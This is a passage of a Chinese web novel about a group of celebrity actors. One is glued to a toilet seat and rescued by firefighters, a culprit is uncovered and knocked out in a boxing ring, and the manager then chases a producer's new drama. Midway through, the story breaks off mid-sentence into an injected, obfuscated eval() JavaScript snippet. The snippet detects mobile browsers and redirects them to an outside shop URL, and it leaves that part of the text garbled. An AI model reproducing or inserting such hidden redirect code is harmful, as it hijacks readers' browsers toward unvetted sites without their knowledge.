“三,二,一,拉!”关清英不管他的呼喊,配合另外两人一起往外拉拽,萧子重整个人被扯得凌乱,他大声呼痛,叫得凄厉惨绝:“啊啊啊啊啊啊——救命啊啊!!痛,痛死我了!” 接连拉拽一会,萧子重仍纹丝不动地贴在马桶圈上,三人拽得额头冒汗,体力消耗不少。 关清英放声让两人松手,萧子重去了半条命似的身体前倾趴在腿上,喉咙里断断续续地溢出哀鸣。 奚亭云说:“这样不行,还不如用热水。” 安声擦擦汗:“拽下来会脱皮,热水烫也会脱皮,反正都要脱皮,萧哥逃不了这一劫的。” 萧子重病恹恹地怒了一怒,喊叫声疲乏得变调:“我谢谢你!” 关清英早清楚会是这么个结果,她走到萧子重身旁低声安抚几句:“你再这么坐下去可能晚饭都要在这里吃,我们几个的确救不了你,不过,我有能救你的办法。” 萧子重一下午听了无数遍让他充满希望的话,但又一次次陷入绝望的下场,长时间没有进水的嗓音沙哑得厉害,他自暴自弃:“用热水吧,我认了!” 关清英否认:“不,不是热水,热水没用。” 萧子重两眼无光:“什么都行,只要能,救我......” “好的,有你这句话我就放心了。” 关清英拿出手机果断拨响那家喻户晓的三个数字。 - 别墅外响起尖锐刺耳的警笛声,呜哇呜哇地响彻大半个别墅区,别墅内的众人不明所以地被七八个消防员保护着带出大门外。 事发时,宫欢正站在客厅与金主那边通话,信誓旦旦地大放厥词。 话没说几句,正厅门口一窝蜂涌入穿着黄橙亮色服饰的消防员,她愣了愣:“你们是谁啊?” 不待她细问,几个人配合默契、手脚麻利地将宫欢一把扛起冲出别墅,她身体摇摇晃晃颠得不舒服,手机的通话还未挂断: “等等!等等——有话好好说,你们这是强闯民宅!从现在开始我一句话都不会说的!除非我的律师到场!救命啊——绑架啦!” 等宫欢被强制护送到别墅大门外的时候,门外早已站了一排人。 高姐和助理阿姨们,甚至连甘惊鸿都穿着一身睡衣,头发凌乱,呆呆地站着分不清状况。 看见宫欢露头,甘惊鸿凑过来问情况:“欢姐,发生什么了啊,怎么突然来了这么多消防员,是家里着火了吗,没看到烟雾警报啊?” “着火?不可能的呀。”阿姨们争相解释。 “我们呆的地方都好好的,哪里都没有火源啊。” “是啊,我们安全意识很高的。” 几人七嘴八舌地说了一通,遥看这座别墅庄园前后并未出现冒烟的情况。 宫欢纳闷地单手叉腰:“那这119是谁喊来的?” ...... 四五个消防员冲上报案人所说的三楼公共洗手间。 洗手间的大门向内大敞,门边站着一个短发女人,伸手朝里做出邀请的手势,义正言辞地欢迎:“请进。” 为首的消防员被这架势弄得一愣,目光顺着关清英的手势往里看,洗手台上坐着一个人,墙壁边站着个面壁思过的人。 除此外,还有坐在马桶上单手托着额头深思的、需要救援的人。 消防员:“发生什么了?” 关清英本着公民职责地详述了具体情况:“是这样的,我们的朋友不知道怎么回事,坐上马桶后发现上面涂有一层厚厚的502胶水,等他想下来的时候已经来不及了。我们尝试过把他拽下来、用热水烫之类的办法,但是很可能造成人员伤亡,所以不敢过度救援,这才打了消防电话请求支援。” 墙边面壁思过的奚亭云插话道:“我不认识他,他不是我朋友。” 安声一秒跟团:“对对我也不认识。” 深思的萧子重恨不得当场爆料轰炸全场:“——你们!!” 如此清楚明白,前因后果详述得当的事发过程着实让人侧目,几位消防员不由得多看了关清英两眼。 不看还好,一细看又是粉丝。 “陈队长!!” “你是陈队长!?” 消防员热络地与关清英攀谈,四五个人将她围在中间要签名,求合照。关清英谦逊的一一满足要求,合照时摆出陈队长特有的神态与pose。 沉思的行为艺术没坚持多久,萧子重看见这一幕脸都裂开,扭曲挣扎着身体无能狂怒:“喂喂喂有没有管我死活啊——我已经坐了三小时了,再这样下去真会死人的啊啊啊啊啊啊!” 关清英在最后一个消防员的衣服上签完名后合起笔盖,认同点头:“对的,请尽快营救他,麻烦各位了。” “不麻烦!” “全力以赴!!” “陈队长放心!” 消防员们个个干劲十足,斗志昂扬地举起一堆工具向萧子重走来。 即使消防员们对各类奇葩事故应对自如,但马桶粘人事件还是头一次遇见,众人废了一番功夫,用电焊枪将马桶圈直接切割剥离,索性先将人带去医院再做打算。 当萧子重被四五个消防员前后围绕、搀扶着走出别墅大门的那刻,宫欢,甘惊鸿,乃至一众人都惊得大张嘴巴。 宫欢抬手碰了碰甘惊鸿:“你快掐我一下,我是不是太爱工作出现幻觉了。” 甘惊鸿惊愕地摇头:“不,不是幻觉,是我们疯了——前辈后面为什么有个圆圈?” 萧子重两手遮挡着自己的脸,踉踉跄跄地走出来,门外一群人的目光刺得他无地自容,腰间围着浴巾,马桶圈将浴巾顶出个大大的圆弧。 如果可以选择,他萧子重死也不会进那间洗手间! 他身后其他几人紧跟着走出来,等萧子重被消防员送上车,宫欢上前拉住奚亭云:“怎么回事?” 奚亭云刚开口说了半个音,消防员从车后探出头来询问:“你们谁是家属啊,一起陪同他去下医院。” 甘惊鸿怔愣半天,此刻倒反应极快地应声:“我,我去吧。” “不行”宫欢说,“你还穿着睡衣呢,我去就行了。” 奚亭云担忧地接过话头:“我去吧,你好几天没休息了。” 关清英走近几步,主动请缨:“好了,你们别争了,我去。我最近最空闲,没什么工作安排。” 一边靠着大树击背的赵莉莉闻言也搭茬道:“那我一起吧,两个人方便。” 几人在外面说谁去的问题,萧子重恼羞成怒,一伸手将车门关闭,他恨不得谁都别来:“你们谁都别来了,我自己能行!就这样!” 宫欢被激起好胜心,她哦了一声,反其道而行之:“哦?行啊,那大家一块去吧,谁都别落下,让我看看萧老戏骨到底怎么了,都惊动消防员来了。” 车内趴在担架上的萧子重一跃而起撞在车厢顶上,他捂着头呼痛,绝望而无奈地深深感觉到—— 他这辈子的声誉大概是完了。 - 医院。 单人病房的探视玻璃映出内部构造,雪白的病床上趴着半死不活的男人。 “你是说,”宫欢夸张地扬起眉毛,幸灾乐祸的笑意溢于言表,“他被粘在马桶上了!!?” 关清英本着实事求是的态度点头:“没错。” 宫欢硬生生捂住要笑出声的嘴,一把推开病房的门,将笑声大放在病房里:“哈哈哈哈哈哈,萧子重,你,你也有今天——” 萧子重脸埋在枕头里装死,一动不动地躺平任嘲。 众人前后走进病房,甘惊鸿走近病床,伸手戳了戳萧子重的后脑勺:“前辈,你还好吧......” 他一点都不好。 最窘迫最难堪的时刻被所有人看见,尤其是甘惊鸿。 他本该是她有资历的前辈,为她传道解惑,在表演方面高高伫立的参天巨树......结果呢,结果呢!!? 萧子重恨不得就这么装死过去,可呼吸声还是暴露了他的情绪。甘惊鸿靠在病床边半蹲下身体,用只有他们两个才能听到的声音说:“是不是还在疼啊?” 他心里莫名一动。 从头至尾她没有笑一声,只是担心他的情况。 萧子重沉默片刻,一点点地挪动着头,将脸朝向她那边,露出的半张脸眼神黯淡无光:“我,我没事,你不用担心。” 他这一转过来,甘惊鸿身后冒出好几颗头,直直看着他这幅囧样。 萧子重猛地爬起来,情绪也不蔫了,恼羞成怒地吆喝:“看什么看什么,看我出糗也该看够了吧!” 他转身刚想换个姿势躺下,臀部被剥离的部位顿时传来一阵刺痛,萧子重嗷地叫了一声又瘫死回去。 众人又互相捧腹笑起来,甘惊鸿唇边也跟着露出些笑意。 “说起来,这事情怎么看怎么可疑。”宫欢坐在一旁的沙发上,手里时刻不停地刷着热搜。 靠在窗边看外面绿植的赵莉莉附和道:“的确,家里的马桶怎么会莫名其妙地被涂上502胶水?” 甘惊鸿若有所思:“而且还是在三楼的公卫生间,不是一楼,也不是二楼。” 奚亭云坐在宫欢身旁的沙发上削苹果,低声跟了句:“更不是我们单独的房间洗手间,到底会是谁做的?” 几人你一句我一句地说着,床上萧子重默默竖起耳朵听,心里也后知后觉地反应过来。 关清英将几人的话当做线索在心里总结了一番,她在病房里缓缓踱步,认真分析着:“这应该不是一个简单的恶作剧,如果真想恶作剧大可以选择一楼的洗手间,我们所有人最方便也最容易接触的地方。” 安声举手提出疑问:“或许这个人就想针对我们三个恶作剧呢?” “那他目标完全可以更精准一点,在你们单独的房间里涂胶水不是更能针对谁?”关清英说,“想无差别恶作剧,就会选在一楼,想针对我们任何一个人完全可以潜入个人房间行事,而三楼的公共洗手间......众所周知,我们基本都不会去的,你们三个有谁经常去吗?” 三人都摇了摇头。 这更让关清英确定了一点。 她站在病房中央,长身直立,目光审视过所有人,在众人紧张的神情中,关清英将手伸入风衣外套口袋里,拿出A6记事本与一支笔,向在场所有人发问: “既然事情并不明朗,那就请各位开始陈述各自的时间线轨迹,当然,我也有嫌疑,同样要说明时间线。” 在场众人头顶飞过一群乌鸦。 宫欢嘴角微抽,试图伸手阻拦:“那个,英子,只是萧子重被马桶粘了一下,没出什么大事情......” “什么叫‘没出大事情’?”萧子重不乐意地调转方向趴在床头,他气势汹汹地一拍床铺,小小的病床震动几下,“查,给我查到底!我一定要知道到底是谁害我名声扫地,声誉尽毁!要是让我知道是谁......” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126437|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧子重压低声音,凶狠眼神看过众人。 关清英及时挡住他凶残的目光,友善提示:“请不要威胁普通公民的人身安全,即使他们有罪,也应该由执法机关来处理。” 众人:“......” 还真让他们演上了。 关清英拖着一把椅子坐在病房中央,坐稳后自行开口:“我昨天晚上吃完晚饭大概是18点,饭后休息30分钟。接着去绕别墅区跑了一圈回来在19点,这个时间回房间去研究尸体图鉴了,之后的时间里一直没有出过门。” 说完,关清英抬头看向病床上的萧子重,她抬了抬头示意:“你呢?” 萧子重懵懵地指着自己:“我是受害者也要说?” 关清英大公无私道:“任何人都脱不了嫌疑。” “得。” 在萧子重陈述完个人的时间线轨迹后,其他几人十分配合关侦探的工作,事无巨细地详述昨晚的活动,包括但不限于刷牙洗脸等等。 等所有人的时间线清楚明白地陈述完毕,关清英前后对照,发现了一些不对劲的地方。 她拿笔圈出赵莉莉的时间线,抬头看向她:“莉莉,你昨天一直待在房间?” 赵莉莉靠着窗台出神,被连续叫了几声回神:“嗯?嗯...对的。” 关清英微微蹙眉,语气平静却掷地有声:“从我房间的阳台位置可以看到大半个后花园,昨天晚上22点左右,我看见你在花园里打电话。” 赵莉莉神情微变,手指紧紧扣着小臂。 “10点后花园的照明灯都关了啊,这你都看得到!?”宫欢震惊不已。 关清英淡定颔首:“我视力比较好。” 萧子重想起之前的监控场面,深有所感:“何止是好......” “所以莉莉,你昨晚在和谁打电话,连说都不能说出来。”关清英问。 萧子重愤愤趴在床边,他屁股有伤不能躺着,只能以爬的姿势在病床上翻动身体,非常之狼狈:“莉姐!!!我这么信任你,居然是你!?为什么要陷害我!” 病房里在场各位都或多或少演过戏,萧子重这出一演起来,其他人自动开启接演模式。 甘惊鸿几步走近,惊讶地看着赵莉莉:“居然是莉姐,你,你为什么要这么做啊!?前辈他从来没有对你做过不好的事情,我怎么都不能想象你会做出这种伤天害理的行为!!” 关清英合上笔盖,幽然叹息:“一切都结束了。” 看戏的宫欢头顶一串省略号:“.....不是,你们演的时候能不能给点提示,我都不知道我要演什么啊。” 奚亭云紧挨着她坐,大大的沙发被他坐得拥挤,两人挤在一角。 他单手轻揽着她肩膀,将人半揽在怀里,哀伤地入戏:“别伤心了,既然事情已经发生,我们只能好好的继续生活下去。” “啊?啊!”宫欢顺势靠在他肩头演起来,甚至捏起袖口拭泪:“呜呜呜我怎么都没想到,居然是她!我那么相信她呜呜呜u呜呜呜呜呜呜呜呜。” 赵莉莉有些无语。 柔媚的眼眸挑起些弧度,她轻缓地开口,笑不露齿地威胁:“你们想喝点我新研究的汤药了吗?” 众人瞬间正常,婉拒起来:“啊不不不不,不用的,我们很正常。” 关清英:“这件事跟你有关系吗?” 赵莉莉眉梢低垂:“我不确定,只是感觉...应该和我脱不了干系。” 关清英追问:“是昨天那通电话?” 赵莉莉靠在窗边,海藻般浓黑的长发被扎束成低马尾,几缕发丝凌乱地在耳畔翘起。 她神情哀婉无奈:“是陈丰。” 这两个字使众人都精神起来——赵莉莉的绯闻对象! “我和他是在一部剧里面认识的,互相都聊得来,于是接触了一段时间,我以为是正常的交往关系,一直等着他提出正式交往,成为男女朋友。但他揣着明白装糊涂,对绯闻不澄清不承认,对我也是这样。” “最近我有点烦了,干脆挑明来问,我们现在到底算什么关系。” “他说我们是朋友,”赵莉莉讽刺地笑,“哪个朋友之间会调情,哪个朋友经常和对方约会?” “我的确喜欢他这个人,但是知道没结果也就不拖着。可他不依不饶,说我三心二意什么的,还怀疑我和《重生家产》那部剧的男主有关系,真是疯了。” “昨天他打电话找我,我直接骂了回去,让他滚。” 赵莉莉一口气说完,身心轻松不少:“他恼羞成怒骂了很多话,我还开了录音录下来,后面直接把所有联系方式拉黑了。” “原来如此。”众人纷纷点着头。 萧子重急迫地追问:“陈丰!?他在荧幕上的形象是个挺有教养的人啊,会是他在马桶上涂502吗?” 宫欢耸耸肩:“这谁说得准,圈里人个个都是奇葩争奇斗艳,正常人是没有的。” 说着,宫欢给助理打电话让人查昨夜22点之后的监控。 不消片刻,一段后花园栅栏门被人翻进来的模糊视频传至宫欢手机内,她将手机视频递给赵莉莉:“你看看,是他吗?” 赵莉莉仔细看了片刻:“......我不太想承认曾经跟这么没品的男人约过会,可这的确是他。” 关清英从座位里站起身理了理衣襟:“真相大白了,我们立刻去将人抓捕归案。” 她正要往门口走,被甘惊鸿拉住衣服,关清英回过头,看见甘惊鸿担忧的眼神,她愣了下:“怎么了?” 甘惊鸿身后的几人也纷纷看过来,她抿着唇为难道:“清英姐,现在,没有在拍戏。” 病房里一时安静得只有呼吸声。 关清英错愕了片刻,最后无奈地笑:“抱歉,我入戏太深了。” 众人敏感的神经一刹那触碰到什么,纷纷沉默下来。 宫欢轻咳一声,缓和氛围:“好了,现在知道是谁干的就行了。” 萧子重不满地抗议:“我这罪就白白受了!?不行,这事必须有个结果!” “没错!”甘惊鸿附和着,“必须要让恶人得到报应!” 赵莉莉点头:“我的确想报复回去,只是暂时想不到好主意。” 甘惊鸿走到病床边,单手搭在萧子重肩上,信誓旦旦道:“前辈放心,我会对你负责的。” 萧子重仿佛被人打了当头一棒:“什、什么?” “就算你以后半身不遂,只能爬着走路,我也会对你不离不弃,”甘惊鸿一本正经地胡说八道,她眼里燃起熊熊怒火,举起另一只手攥成拳头,“这个男人居然敢欺负莉姐,陷害前辈,你们都是我最好的朋友,我要让他得到报应!” 萧子重解释:“不,不是,我没半身不遂!” “我真没事,你别误会,我身体还是好的,没出问问题!” 没人理他。 关清英想了想,这行为应该不违法:“你打算怎么做?” 获得神探传承的甘惊鸿仿佛buff加身,她轻哼一声:“我自有办法。” - 隔天。 甘惊鸿拿到赵莉莉的通话录音,买了张一次性的手机卡将录音发给陈丰,并附上消息:【我已经知道你做的事了,是男人就在五天后‘谁来谁死’拳击馆见。】 陈丰不敢不从,那段录音一旦放出去他苦心营造的人设全毁。 在这五天里,甘惊鸿就跟着关清英日夜训练,学到不少厉害的擒拿招式。 五天,萧子重从医院回到别墅休养,马桶圈虽然取下了,可他臀部的皮肤几乎剥了一层薄薄的皮,仍要养一段时间。 在约定日期到的那天,甘惊鸿坐在他床边神情凝重:“前辈,我这就去为你报仇了,这次一定让他血债血偿!” 萧子重眼含热泪,欣慰地紧握她的手:“这次靠你了,一定要让他也脱一层皮!” 这次甘惊鸿婉拒了关清英陪同的提议,没让其他人跟着,她直奔拳击馆而去,到地方后,陈丰脸色黑沉沉地坐在场馆内。 托宫欢的福,场馆今日清场,特意给两人留出对决场地。 甘惊鸿走进来时,陈丰以为自己来错地方了。 这姑娘一身无袖白裙,长相清纯可人,看着就是柔弱的小白花。等她走近了,一张口,陈丰才确定她就是威胁他的那个人。 甘惊鸿走到陈丰面前,仰起脸质问:“你就是在马桶上涂胶水的陈丰。” 以前甘惊鸿在电影,电视上常看见陈丰的身影,他西装革履,一表人才,网络上的评论全是一边倒的夸赞。 什么“人间少有的绅士”、“儒雅温和”、“世界上最后一个君子”等等的话,结果呢,就是个阴暗小人。 陈丰不喜她的前缀,并没回答,反而扫视她一眼:“你是,前段时间演《前方》的演员?怎么是你来了?” 甘惊鸿摘下斜挎包放在休息椅上,抬头往旁边的拳击台上扬了扬:“走吧,这次我要揍你一顿替前辈报仇。” 陈丰笑了一声,两手插兜缓缓站起身,比甘惊鸿高了一头,他站姿端正优雅,仿佛是来参加宴会的:“小姑娘,这是我和赵莉莉之间的事情,你进来搅什么浑水?放大话也不是你这么放的。” 甘惊鸿懒得跟他废话,她不像欢姐那样会骂人,也没别的威胁(关清英不让版)手段,只能采用最简单直接的办法——拳击。 她从小包里拿出一条运动卫裤,借着掩体两三下穿好,接着走到拳击台旁戴好拳击手套,大红色的拳击手套怼在一起,她抬头盯着他: “少废话,你是不是不敢。” 陈丰本就不是什么好脾气的人,记仇,小心眼,被甘惊鸿这小辈这么挑衅,早就不耐烦了:“本来最近因为赵莉莉的事情闹得有点烦,你居然还找上来惹事,好吧,那就陪你玩玩。” 陈丰脱去西服外套,穿戴好拳击手套走上拳击台。 他没练过这玩意,但没见吃过猪肉,还没见过猪跑吗? 两人在拳击台上分站两边,甘惊鸿摆出标准的预备姿势,手臂上隆起些肌肉弧度的线条,她前后试探着移动,不清楚对方会不会打,只能先尝试着,虚晃一枪地挥出一拳—— 嘭!正击中! 陈丰的头摇晃一下,脸被打歪,俊朗的侧脸迅速被打出红肿的印记来,他不敢置信地回头愣愣地看着对面的柔弱女孩。 甘惊鸿又使力朝前挥动一拳,这回带着更大的力气,正中陈丰面门,他双眼瞪得更大,鼻孔下溢出一行血来,头脑一阵晕眩,后仰倒地。 砰地一声,KO。 甘惊鸿大为意外,她还没开始呢,怎么就结束了? 她嫌弃地皱起眉头,走近男人抬脚踢了踢他:“陈丰老师,你不会打啊?” 男人被两拳打得眼冒金星,在地上扭曲几下:“你,你力气怎么这么大!?” 甘惊鸿两手对了对拳,一身的白裙衬着肌肉线条流畅的手臂,不但不违和,反而帅得清新漂亮,她拉长语调,走到男人身前蹲下,抬起拳头对人笑了一笑:“当然是.....为了揍你啊。” 嘭——最后一拳落下,陈丰彻底晕了过去,三拳就让他鼻青脸肿,也太没成就感了。 甘惊鸿撇撇嘴,牙齿咬开拳击手套的绑带使力脱掉,跳下拳击台,拿起小斜挎包背好,同时将拍摄的手机收起来,点下停止录制的按钮。 她打开微信大群,将视频发送进去。 甘惊鸿:【小甘报道,报仇完毕。】 萧子重:【!!大仇得报,感谢感恩感激,大恩大德无以为报......】 宫欢:【不错啊,三拳KO对方,不愧是当初给我递钢管的人。】 关清英:【嗯,很好。不过尽量不要打脸,容易毁容。】 赵莉莉:【打得好!怎么才三拳啊,抓着他再打一小时,出了事我负责。】 奚亭云:【厉害。】 收起手机,甘惊鸿笑盈盈地走出拳击馆。 今日天晴风暖,她得快点回去给前辈推轮椅出来晒太阳。 147. 百分百触发疑案 绚丽耀眼的灿烂光幕扫过舞台上三人跃动的身体。 舞台下的粉丝们欢呼着为每个节拍雀跃,在一段唱跳结束后,三人站在舞台上拿着话筒一一致谢。 “非常感谢时光演唱会邀请我们来到现场,刚才是我们的新曲《狂人》,希望大家能够喜欢。” 安声的气息不太平稳,带着刚剧烈运动后的喘音,举着话筒笑得乖软,脸颊两侧的梨涡浅浅凹陷。 三人并排站立朝着台下深深鞠躬,台下骤然爆发出激烈的尖叫声,一路缠绕着三人走下舞台;荧光棒汇聚成的海洋此起彼伏地挥舞着,盛大而热烈。 这是X男团在三鬼将爆火后的首次舞台露面,由地方电视台举办的秋日演唱会特意以邀请X男团作为噱头,演唱会门票的价格被抬得一高再高。 近10万人的大型演唱会有将近一半都是三鬼将的兵,说X男团是当下的新晋顶流也不为过。 走入后台,人声的分贝被模糊去了大半,作为助理,高姐及时迎上来,跟在三人的身旁说着后面的行程安排。 奚亭云偏过头朝高姐身后看去,没看到想见的人。 高姐飞快扫他一眼,直白地挑明道:“宫欢忙着拉资源,她来不了。” 萧子重扭动发酸的脖颈,乐得自在:“那可太好了,终于没人在耳边叨叨叨......” 没等他高兴几秒,高姐举起一沓通告开始一一给三人说明,萧子重的笑意凝固在脸上:“当我没说。” - 宫欢最近忙得晕头转向。 手底下的艺人个个都在上升期,每个决策和行程她都要过一遍眼,还要提前预防各类大雷、对家的随机轰炸。 男团的发展路线她要注重规划,甘惊鸿的剧中CP爆火后需要提高她个人的曝光度,赵莉莉之前饰演的角色在奖项提名后,大众评价正处在好坏参半中。 最受众人仰慕的关清英却仍飘渺不定。 宫欢近期着手在为赵莉莉争夺时尚圈的资源,众人中除了男团三人,手握代言最多的人是赵莉莉。 她自身条件好,之前的红毯上气场大开,吸引了一些奢牌抛出合作的橄榄枝。 对宫欢来说,不论是影视剧、唱跳舞台、亦或是红毯之路,最能快速捞金的当属代言。代言一是能为艺人与品牌方双方提升档次,其次也能让艺人获得更好的时尚资源。 六位艺人里面,只有赵莉莉的身份最适合往时尚圈发展。 她足够有话题度,气质与长相超越众多一线大腕,只是碍于之前的各类风评,发展并不好。 自上次红毯过后,宫欢又为她接了些足够有分量的红毯,一方面提高曝光度,其次再由宫欢结交人脉,为艺人们拉资源。 ...... 电影节的晚宴后台,在红毯阶段结束后,众位大腕在闲谈聊天。 宫欢强行挤开里外围绕的人群。 一些人被挤得不耐烦,本想阴阳几句,转头一看是圈内小炮仗,只得闷闷地熄了火。 被团团包围在人群中心的是一位金牌制片人钱少琼,曾投资过经典影视剧《青岚传》、《少年董如荇》、《大明红衣》等耳熟能详的优秀电视剧。 这些剧拍摄的资金并不大,剧本由一些名不见经传的编剧写成,制片人钱少琼看见好的剧本才会拉投资、立项目,她眼光非常挑剔,从演员到导演班底挑选得苛刻,向来不看好的,只看合适的。 由这位制片人参与制作的影视剧不少获得国内外奖项,观众口碑也都一水地叫好,可见其含金量。 这次的电影节叫来钱少琼着实是添光增彩了,众人围绕着她,纷纷想结交人脉,攀关系搭句话。 宫欢纯是来凑热闹的。 她仰着头看这位制片人举杯向众人示意,周围的人紧忙地跟着举杯,谄媚的声音不绝于耳。 圈内多的是阿谀奉承的话,被这些话层层围绕的人极容易失去对事物的判断力。 “您的眼光那是一顶一的好,选的剧本题材都太有时代性了!” “不愧是钱制片人,之前还获得了国外的艾美奖,这在国内可是无人能及啊!” “您就是国内影视剧的传奇人物,您一出马,谁都黯然失色。” 宫欢回想着她之前看过的影视剧片段,一走神就没跟着周围人举杯。 这时有人试探性地旁敲侧击:“听说钱制片人最近有新的方向,是电视剧还是电影啊?有什么需要我们帮忙的尽管提,为您解决问题就是为中国的影视剧添砖增瓦!我们义不容辞啊!” 这一顶顶高帽简直要摞到天上去了。 钱少琼年近50,穿着低调优雅的一身中式休闲服,笑容矜贵内敛:“哪里哪里,各位谬赞了。最近没什么事,又想重操旧业拍点东西出来。剧本的内容多,我感觉拍电视剧比较好,还没定呢。” 她话一出,在场的人顿时蠢蠢欲动起来。 钱少琼有七八年没参与影视剧的制作了,这回再次出山,是绝好的机会和资源——没人怀疑她会拍出多差的东西,只在意她曾经过往的荣誉是否能再次利用。 宫欢混在人群里,在高低起伏的夸赞声里提高声音:“请问您这次想要拍摄的影视剧本是什么题材的呢?” 周遭的声音仿佛被宫欢的问句压下去,停了一瞬,不少人回头看她。 她站得靠后,一下被前面的人行注目礼,不但不惶恐,反而大咧咧地摊手:“问一下怎么了?” 宫欢站在那就是个活招牌。 无需介绍,人人知道她叫什么,什么脾气,什么行事作风。 钱少琼也不例外,她一眼望见姿态随和的宫欢,略微回神想了想:“前段时间的【风雨九州】其中爆火的三鬼将,是你的艺人?” 宫欢有些意外:“是,您怎么知道?” 一旁谄媚的导演与明星微妙地沉默片刻,有些人甚至背过宫欢发出轻蔑的笑。 现在的年轻人可能不知道,可稍微早入圈几年的人谁不清楚,钱少琼与【风雨九州】的元导在早年间可是扛起国内影视剧半边天的两位大人物。 一位是金牌制作人,负责拉投资与立项目,一位是资深导演,负责挑选演员与对剧本的钻研,两人曾经合作拍摄过一些作品。 不怪宫欢不知道,多年前两人分道扬镳,有些媒体炒作过几次,但很快就被压下去。 宫欢反而大咧咧地问:“您和元导是朋友吗?” 周围人纷纷倒吸一口凉气,有人甚至不慎被酒液呛到,咳嗽不断。 钱少琼大大方方地点头:“曾经是。”她几个字将这茬带过,继续拉回原话题上,她看向其他人,“这次的剧本是古代题材,讲述的是一位护国将军的故事。” “我当时看见这个剧本的时候,觉得剧情写得不错。主线副线交融的非常合适,这两年国内全是仙侠剧,古偶剧,甜宠剧,没什么意思。拍点带血性的家国题材算是个最近的想法吧。” 护国将军。 宫欢缓缓点着头思索,这角色适合谁呢? 奚亭云?他演技还差点,扛不住这类大剧,仍需要磨练。 萧子重?他那架势合适的,只是...总觉得有一些违和感。 安声肯定不行,他唱唱跳跳就行了。 在三人里面筛选了一圈,宫欢都不算特别满意,微凝神思考间,前方也有人主动自荐,是位常露脸的一线演员:“您还在选角吗?请允许我自荐一下,我曾经也演过将军角色,您可以考虑考虑我。” 只听见钱少琼轻笑着摇头,说:“不好意思,这是一位女将军,你不太合适哦。” 这一刹那,宫欢大脑被猛敲一记警钟,在当当作响的回声中,脑中出现一身繁重精细的甲胄,而穿上这身甲胄的人,是关清英。 她那张脸套上那身衣服,简直是天选将军。 宫欢眼眸一亮,她当即扬声,压下众多的自荐声音:“钱制片!我!我有合适的人选!!” “你有什么有啊,宫欢,你又争又抢的要不要点脸啊?” 说话的是其他家经纪公司的经纪人,忿忿不平地跟着抢话:“钱老师,我们家也有!您看看照片,我这有形象照!” “我也有!” “别挤啊!艺人谁家没有!” 宫欢还没说两句话,就被一群人挤到后面,一窝蜂的人往钱少琼身边凑,宫欢很快被挤得看不见前面的人。 她急得随手将装满酒水的高脚杯往身后一丢,两手扒着那些人往前挤,一边推着穿着晚礼服的明星,一边抬手摁住一个人的头往后推。 光是推荐和自夸是没用的,夸赞这位制片人也没什么用。 要让对方印象深刻,只有剑走偏锋。 “您这部剧的剧本能比得过‘风雨九州’吗!!?” 这话堪称重磅炸弹,拥挤的人群顿时像被静止一般,连站在人群中心的钱少琼脸色都微微一变。 “她疯了吧!” “找茬找到这来了??” “宫欢,你要砸场子别在这闹!”有人急忙扯着她,“你不要这个资源,我们还要呢!” 众人的明嘲暗讽并没有影响宫欢的判断。 从刚才宫欢问出“您和元导是朋友吗”这句话后,周围人若有似无的嘲讽,左一句右一句的窃窃私语,还有钱少琼敷衍的回答。 宫欢大致可以猜测到,这位制片人与元导有什么不可言说的过往。 其次,在元导拍摄过【风雨九州】爆火后,这位制片人时隔多年再次出山,为的不就是争口气吗? 这再简单不过了。 夸赞和吹捧不会让人看到你,但直白的挑明能让人一眼发现你。 果不其然,钱少琼的视线略过黑压压的人群,看向还在摁着谁的头的宫欢,她皮笑肉不笑地维持着体面:“这是两个不同的题材,没有可比性。” 宫欢乘胜追击:“说是这么说,可一部剧的制作是否受到大众的欢迎总是非常明显的。” 钱少琼反问道:“你是记者吗?这场晚宴我不接受任何采访。” 宫欢霎时笑得没皮没脸,语气又柔和下来:“当然不是了,我只是想多听听您这部剧的剧本内容——毕竟,‘风雨九州’是改编的漫画大IP,您说的护国将军,是自写剧本吧?漫改IP有之前的人气作为铺垫,也就有过剧情人设的初次验证,改编拍摄能省去很多的不确定性。” “可自写剧本的话,没有观众读者做验证,您怎么确定这部剧上映后就能获得好的反响?” 钱少琼方才的从容有余散去,慢慢地凝重起来,她盯着宫欢看了片刻,忽然轻笑了下。 年轻人获得关注的方式果然是层出不穷,她也就顺着她做个势头:“剧本怎么能随随便便就透露出来,保持神秘性是一部剧需要做到的基本操作。” 没等宫欢再次追问,钱少琼不再多说,朝众人举杯饮下酒后转身离开,只是在走之前,与身旁的助理轻轻指了指宫欢的方向,助理立刻会意,点头。 钱少琼走后,一众明星经纪人将气都转移到了宫欢身上,他们转过头面色不善地瞪着宫欢。 宫欢还无辜地摊手:“我说我是为了大家,你们信吗?” 在几个人准备揍她时,她迅速拔腿就溜,几个小跑间窜得没了影。 算她跑得快。 明星们气得拿出手机,人人都买了些宫欢的黑通稿后才算解气。 - 手机的锁屏页面接连蹦出数条最新的娱乐资讯。 【惊!宫欢酒会得罪钱少琼,金牌经纪人对上老前辈还能否留下脸面】 【炸裂!宫欢挑衅知名制片人掀翻桌子】 【钱少琼爆料筹备新片预与‘风雨九州’一战!】 别墅书房的门被高姐敲响,她一边与水军通话,一边进了书房,走到书桌前询问宫欢:“最近怎么多了这么多黑通稿,水军都在哭惨,说通宵洗都洗不完。” 宫欢倚在老板椅上没个正型,手中捏着一支笔玩,她不以为然:“哎呀小问题,过段时间还有呢。” 她这满不在乎自己形象的态度让人无奈,高姐只得对着耳机那边的水军说了声“继续跟进”,接着挂断通讯。 高姐:“你又惹谁了?” “说什么惹啊,”宫欢撇撇嘴想要狡辩,被高姐瞪着硬生生改口,“——钱少琼。” 乍一听这个名字,高姐困惑得皱了下眉。直到她拿出手机查询了此人之后,百度科普密密麻麻好几页都看不完,高姐瞳孔地震:“你惹她做什么!?” 宫欢惆怅道:“说来话长。” 自前两天的酒会晚宴过后,宫欢的黑通稿莫名多了不少,营销号们仿佛约好似的齐齐下场,水军都洗不过来了,可见她在酒会上与钱少琼的对话让多少人怨恨。 那天宫欢离开时,钱少琼的助理叫住她,递给她一张名片。 助理没有多说,可宫欢知道,这是有戏的意思。 